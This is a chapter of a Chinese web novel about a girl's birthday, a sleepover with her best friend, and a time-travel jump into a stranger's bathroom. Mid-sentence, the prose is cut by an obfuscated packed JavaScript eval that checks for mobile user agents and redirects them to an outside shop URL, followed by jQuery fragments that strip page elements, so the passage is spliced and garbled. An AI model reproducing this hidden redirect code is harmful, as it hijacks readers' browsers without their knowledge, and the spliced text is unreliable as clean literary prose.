文趣网 > 都市小说 > 回到你的年少时 > 6. 初相逢各唱红白脸3
    岁杳完全没想到,这是给自己的生日蛋糕。

    一时间。

    她大脑一片空白,竟然愣住了。

    岁杳脑袋软绵绵地往上仰,回过神:“你怎么知道今天是我的生日?”

    头顶暖色灯光,晃了又晃,粉红兔子静坐于对面。

    岁杳自言自语:“哦,我知道了,李叔告诉你的是吧?”

    粉红兔子无言,默默地点了点头。

    岁杳在校园与打工的状态完全不同。

    校园内,她沉默、孤独,是怪胎。

    黄心怡是一个自来熟、大嘴巴。

    她能与黄心怡成为朋友,最大的原因是对方挺自来熟,纠缠着纠缠着,两人越走越近。

    黄心怡这人,有一点特别可爱又让人无奈,她喜欢大张旗鼓宣扬值得庆祝高兴的一切。

    例如,岁杳的生日。

    由于她的生日是在寒假的除夕夜。

    去年放假之前,黄心怡就此不满嚷嚷了好多次,以至于连蛋糕屋的李叔都知道她的生日是哪一天。

    前十几年无人问津的生日,在今年收到两个祝福。

    没有人不会为赤忱的祝福感动。

    粉红兔子拿火机,蛋糕点燃蜡烛,他关上灯,驻足静立,等待岁杳吹蜡烛。

    岁杳想象着学到的动作,双手合十,闭上眼睛,默默许愿:愿平静,愿勇气依旧继续活着,愿友谊长存不朽。

    ——呼

    蜡烛熄灭,许愿成立。

    灯重新被打开,视线内一片光明。

    粉红兔子坐回对面,手法娴熟自然地切着蛋糕。

    岁杳喜笑颜开,唇角笑意未消,眼亮如星,巴巴盯着蛋糕:“给我切最大块,要带草莓的。”

    粉红兔子依言点头,切了块超大、点缀着红润草莓的蛋糕,装好盘,递了过来。

    岁杳相信阳光总在风雨后,笑口常开,好运自来。

    岁杳拿着叉子,一口满足,心下甜滋滋的,边吃边嘟囔道:“怎么不摘头套?不一起吃?”

    粉红兔子自始至终都只是默默为她做着这一切,连现在,也是静静看她吃蛋糕。

    岁杳投去奇怪的眼神。

    只见,粉红兔子臃肿的粉红色手套,中指弯曲,一笔一画在桌面上写。

    岁杳凝眼一看,兔子写的是一个字。

    丑。

    一直不愿意摘头套,是因为这个理由?

    岁杳笑道:“你还有容貌焦虑?”

    粉红兔子点头。

    岁杳惋惜道:“好吧好吧,既然你不愿意,我也不为难。可惜了,这蛋糕超级好吃的,你真的不试一试吗?”

    粉红兔子摇摇头。

    风是冷的,但心是暖的。

    食物自带治愈的效果。

    现在,岁杳总算能明白,为什么大家都说,没有什么坏情绪是甜食不能治愈的。

    除夕夜短短几小时,发生的事情太多太多。

    岁杳提着崭新的小蛋糕,准备去找黄心怡。

    刚出地铁,就撞见了想见的人。

    来人长相明媚漂亮,黑长直,身形欣长,走过来时像模特走秀场。

    两人猛地撞上眼,黄心怡惊喜道:“岁杳,你怎么在这?你是来找我的吗?”

    岁杳正好看见她手上提着的满是花朵,犹如春天盛开的蛋糕,中间是满满一圈的草莓。

    她无奈一笑,提了提自己手上的小蛋糕,道:“喂,两个我们可吃不完。”

    原来黄心怡准备悄悄来找她,给她一个惊喜。

    而岁杳也惦记着好朋友,准备来找她。

    两人又正好碰了个面。

    黄心怡边说边上前挽住岁杳的手臂,弯腰仰面,对着岁杳道:“被我抓到了吧,这就是你爱我的证明。”

    岁杳被她拽得往后退了一步:“今天才发现,那你以前眼睛瞎了?”

    “那是你眼瞎,”黄心怡抬起下颌,义正言辞地批评,“嘴硬怪,你不来找我,我只好来找你。你说说,你就我一个朋友,没有我,你、可、怎、么、办。”

    岁杳:“谁跟你是朋友。”

    黄心怡:“岁杳!”

    一阵欢声笑语,岁杳想,很庆幸,在这个世界上她还有朋友。

    她没有亲情,没有爱情,只有友情。

    黄心怡跟岁杳互怼是日常,呛完嘴,面无表情地说:“我妈妈今晚临时被喊走加班。说是这几天都可能回不来,岁杳,在我妈妈回来之前,你陪着我好不好?”

    岁杳觉得她冷脸说这话,莫名的萌,但她有自己的顾虑,一是时光腕表,二是还在医院的人,此时心下犹豫。

    黄心怡向来说一不二,只给人通知,从不商量:“你来不来。”

    岁杳沉默地说:“我想想。”

    黄心怡若有所思地蹙了一下眉:“你外婆出事了?”

    岁杳沉沉地说:“是。她刚手术完还在医院。医院的人给我打过电话,说现在情况不错,还睡着。”

    黄心怡偏过头,就看见女孩儿微垂着头,满脸心事重重。

    黄心怡了解岁杳,知道她这个人就喜欢什么都不说,自己一个人硬抗,认识那么久了,早就知道不是吗。

    黄心怡有一瞬间想说什么,可是话到嘴边,她又觉得不能说,于是又给咽下去。她没吭声,肢体代替语言,张开手臂,抱住了她。

    岁杳身体僵硬,愣在原地。

    千言万语,千言万语。

    告诉她,不要一个人继续撑着,不要如鲠在喉,不要闷着什么都不说。

    岁杳比黄玫语矮上一个头,在她怀里,显得有些小鸟依人。岁杳头埋在黄心怡的肩膀里,冷声说:“我恨她。心怡,我好恨她。”

    黄心怡温声:“好,那我们不去好不好。反正,现在她正睡着呢。我们先放过自己,好不好?”

    岁杳掀起眼皮看了黄心怡一眼,像只乖巧的猫,被步履高傲的人儿牵着走。

    就像那句,友谊长存不朽。

    黄心怡的房间很大很漂亮,整体色调偏暖,衣柜里挂着几件白洁的舞蹈服。

    岁杳接过她递来的小熊睡衣,手感软滑,一摸就知道料子很不错。

    岁杳去卫生间换好衣服,回来时,黄心怡正在拉腿。见到她,起身跟着岁杳聊了几句。

    岁杳无话不谈,说起了粉红兔子,她斜过眼,却瞥见黄心怡表情怪异,于是,疑惑地问:“怎么了?”

    黄心怡不在意挥挥手:“就是生气,我竟然不是第一个给你过生日的人。不过,我很开心。”

    岁杳见她这样子,就觉得好玩,罪恶的手爪子伸过去,以不急掩耳之势袭击她的腰,挠挠挠,黄心怡扭着成麻花,笑得岔气。

    岁杳松开手:“你是我最好的朋友,行不行?”

    黄心怡:“喂,我本来就是。你还有别的朋友吗?”

    岁杳:“脸真大啊,黄同学。”

    黄心怡爬起来的动作一顿,歪着身:“彼此彼此。”

    两人又是一阵闹腾后,仰躺在床上。

    黄心怡偏过头,对着岁杳那件旧棉衣,质问:“我送你的衣服呢,你怎么不穿?”

    岁杳严行勤俭节约,本想发挥不烂三寸之舌糊弄过去,看了黄心怡一眼,还是实话实说:“不耐脏,穿坏了怎么办。”

    黄心怡气沉丹田,践行忍无可忍,无需再忍的准则,弹起身来,一顿输出:“岁杳,别逼我在你耳边念一晚上,衣服不是拿来看的,是拿来穿的。”

    岁杳从黄心怡眼皮子底下一闪而过,裹进被子里:“我错啦,下一次一定穿。”

    黄心怡掀开碍眼的鼓包,与岁杳对视上,满意说:“这才对。”

    岁杳像一条毛毛虫,蠕动说:“真是的,怎么感觉你把我当女儿养。”

    黄心怡半跪在床上,居高临下:“那你喊我一声妈妈?”

    岁杳无情说:“滚蛋。”

    岁杳骂完,终于问出了心中一直有的疑惑:“其实,我一直都很好奇,你为什么对我这么好。”

    黄心怡看了看她,又别开眼,躺在她身侧:“当你是朋友,对朋友当然要好。以前,我也有一个朋友,对我非常非常的好,是她帮助我渡过了最难的时光。因为她,我学会了何为友情。”

    岁杳眨眨眼,转头问她:“那什么是友情?”

    黄心怡轻咳一声,佯装高深地说,“莎士比亚曾说过,朋友是一个了解你原本的样子,知晓你走过的路,接受你的改变,并且仍然温柔地让你成长的人。然后,重点来了,著名高中生黄心怡也曾说过,岁杳小朋友

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722018|208712||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,你就是友情最真实的模样。”

    岁杳被逗得哈哈大笑:“我第一次觉得,你好像一只傻鸟。”

    黄心怡不认:“我呸,我才不是傻鸟。”

    倒计时结束之前,岁杳都非常开心。

    归零前,岁杳特意避开黄心怡,把自己锁在卫生间内。

    岁杳左手拿着一块跟手机一样重的石头,右手拿着手机。

    现在是晚上20:32:55

    这一次,她要证明三件事。

    一,物品能带走的规格或限制。

    二,新想的发财之道能否实行。

    三,具体消失时间。

    岁杳脑仁疼,全是滴答滴答的声音,她闭上眼,再次陷入一片潮水般的黑暗,一阵沉沦,她猛地再次睁开眼睛。

    视野内,手腕上的时间变成了:

    168:00:00

    从三天变成了七天。

    岁杳惊愕,完全没想到时间还会增长。

    她稳住心神,看着自己左手拿着的石头,右手空空如也,确定了,穿梭能携带的物品,有限制。

    但不得不说,这功能真是鸡肋。

    岁杳一穷二白,就是个普通人,没什么高远志向。

    非要说有过什么想法,她想过从45年带点钱过来,但很快被理智pass。

    岁杳所在的45年,先不说很少用现金,光生产年份比26年大了不知道多少,她敢拿出去用,别人就敢说她用假/币,报警抓她。

    别说可以买旧纸币,旧纸币价格比本身价值都要高一些。

    岁杳表示,没这个闲钱。

    岁杳手揣进兜里,放好石块,摸到那一百八十块,心里顿时安全感满满。她低下的眼,余光忽然注意到周围的环境似乎有点不对劲,这光亮,不像小破黑旅馆,而且,她为什么是站着,不是躺着。

    她没犹豫一秒,几乎是下意识抬头,看清后,彻底傻眼。

    不,应该是要被吓到变形。

    原本脏乱恶臭、狭小昏暗的宾馆房间消失,她面前的场景变成依旧狭小,但不脏不乱甚至非常整洁的……浴室?

    为何如此笃定。

    自然是距离岁杳不足半米的距离,有一道隔绝两方的浴帘。

    巧的是,此时浴帘半掀未掀,一只肤色冷白、修长的手臂从里探出,长指弯曲,捻起洗漱台上放着的衣物。

    hello,呼叫老天,老天在吗,好像真的闹鬼了,而且我就是鬼本人。

    岁杳自我怀疑了一瞬,然后发誓,她不是故意想看的。只是事情来得太突然,没有反应过来。

    岁杳呆了两秒,理智回来,左看右看,轻手轻脚地准备拔腿就跑。

    浴帘里的人大约是想要透透气,微侧身,彻底掀开浴帘,他背对着岁杳,穿着运动裤,上衣正套一半儿。又侧回身,根本没有注意到多出来的一个人。

    天赐良机,现在不跑更待何时,然而,只是一眼,岁杳动作僵硬在半空中,屏住呼吸,定住了目光。

    她清晰地看到那人半露的背脊上,有一道极为恐怖的疤痕。一道斜的,沿着右肩胛骨方向,隐入遮挡衣物的刀疤。

    岁杳呼吸不自觉变慢,不禁想着:“他挨了这一刀,是怎么活下来的。”

    这一看,心中微动,跑的心思淡了些。

    因为那道刀疤,让她回忆起了不好的过往。

    小时候,岁杳曾闹脾气不想去上学,她的外婆发狠拿刀威胁她,不去上学就捅死她。

    岁杳知道外婆只是吓唬她,可是小小年纪的她还是被吓住了。

    心头被唬住,面上却犟得不行。

    最后,外婆面目狰狞,满是老茧的手,握着水果刀刺过了来,那时候岁杳被吓得尖叫闭眼,再次睁眼时,外婆的手臂多了一道血痕。

    外婆为了让岁杳听话,选择了自伤。

    那道刀疤至今都在外婆的手臂上,经年不愈。

    岁杳对这种刀疤,有种晦涩难言的哀伤。她控制不住地去想,一道几厘米的就够吓人。这一道,蜿蜒而上,不见尽头,这得是遭遇了什么,才会有这么可怖的刀疤。

    就这么片刻失神,没第一时间逃走,浴帘里的人转过头,目光冷飕飕地扫过来,与流露出惊慌的岁杳来了一个对视。